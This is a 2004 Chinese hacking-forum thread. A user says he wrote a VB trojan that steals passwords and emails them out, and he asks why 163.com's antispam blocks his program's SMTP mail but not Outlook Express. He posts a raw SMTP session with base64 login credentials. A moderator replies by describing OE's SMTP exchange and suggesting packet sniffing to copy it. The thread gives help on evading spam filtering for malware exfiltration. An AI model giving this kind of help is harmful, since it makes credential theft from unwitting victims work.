论坛: 编程破解 标题: 为什么OE可以发邮件,我的程序就不能? 复制本贴地址    
作者: 小马 [myjian]    论坛用户   登录
小弟用VB做了一个木马,工作过程是:截取密码,发邮件

我发邮件部分是这样设计的,我先申请一个163的免费邮箱,再用申请的用户名与密码以ESMTP方式

登录SMTP服务器发邮件.但是,在OE里用就可以,在我的木马里发送时,用户名及密码可以通过,邮件

内容也正常发出,可是就是在最后一步时,发送就失败了.整个过程如下:

220 Coremail SMTP(Anti Spam) System (163com[20030606])

HELO xxx@163.com

250 192.168.1.181

AUTH LOGIN

334 VXNlcm5hbWU6

anFtYWRtaW5fbTU=

334 UGFzc3dvcmQ6

MTIzNDU2

235 Authentication successful

MAIL FROM: <xxx@163.com>

250 Ok

RCPT TO: <111@126.com>

250 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

550 CoremailSys:Your message was blocked by NetEase AntiSpam+.(IIAMr+CzL0EiMgkD.1.G.5)

这最后一个550是过了几秒钟才返回的

我不清楚为什么会把这个程序里的邮件给屏蔽了,而OE的没事

我觉得是不是我还有什么信息没有发送?比如说明我现在发的不是垃圾邮件?

地主 发表时间: 04-08-28 07:35

回复: 小马 [myjian]   论坛用户   登录
顶~~~~~~~~~

B1层 发表时间: 04-08-29 01:36

回复: NetDemon [netdemon]   ADMIN   登录
Your message was blocked by NetEase AntiSpam+.(IIAMr+CzL0EiMgkD.1.G.5)

你的邮件被系统认为是垃圾邮件

B2层 发表时间: 04-08-29 19:28

回复: 小马 [myjian]   论坛用户   登录
谢谢!!我知道我的邮件是被作为垃圾邮件处理了

但是我不明白的是,同样是作为一个发邮件的客户端,为什么我的程序发和邮件会被判定为垃圾邮件呢?

而且,我用同一账号在OE里发就OK,在我的程序里发就被Block,想不通......

OE是不是和服务器间还发过了什么信息,用于说明自己发的邮件不是垃圾邮件?



B3层 发表时间: 04-08-30 06:47

回复: 小马 [myjian]   论坛用户   登录
顶!希望得到关注!

B4层 发表时间: 04-08-30 23:45

回复: TomyChen [quest]   版主   登录
sniffer OE的一个过程大概如下:
用sendto->smtp
WSAREcvfrom smtp的响应
recv 220 "smtp"
send EHLO tomy Pob
Recv 250 stmp helo(DELAYED.......)
send AUTH LOGIN
recv 334 .....

recv 245.


Send :Message-ID:<idnum..........>
recv 250
sned QUIT


强列建议楼主用sniffer看一下
^^


[此贴被 TomyChen(quest) 在 08月31日09时13分 编辑过]

B5层 发表时间: 04-08-31 09:13

回复: 小马 [myjian]   论坛用户   登录
好的,谢谢了!!!!!

B6层 发表时间: 04-08-31 22:56

回复: 小马 [myjian]   论坛用户   登录
谢谢版主.....

但是...我下载了一个叫sniffer pro的程序,不会用...

不知道有没有使用起来简单一点的Sniffer呀?

^^!.........太菜了......呵呵

B7层 发表时间: 04-09-03 19:20

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号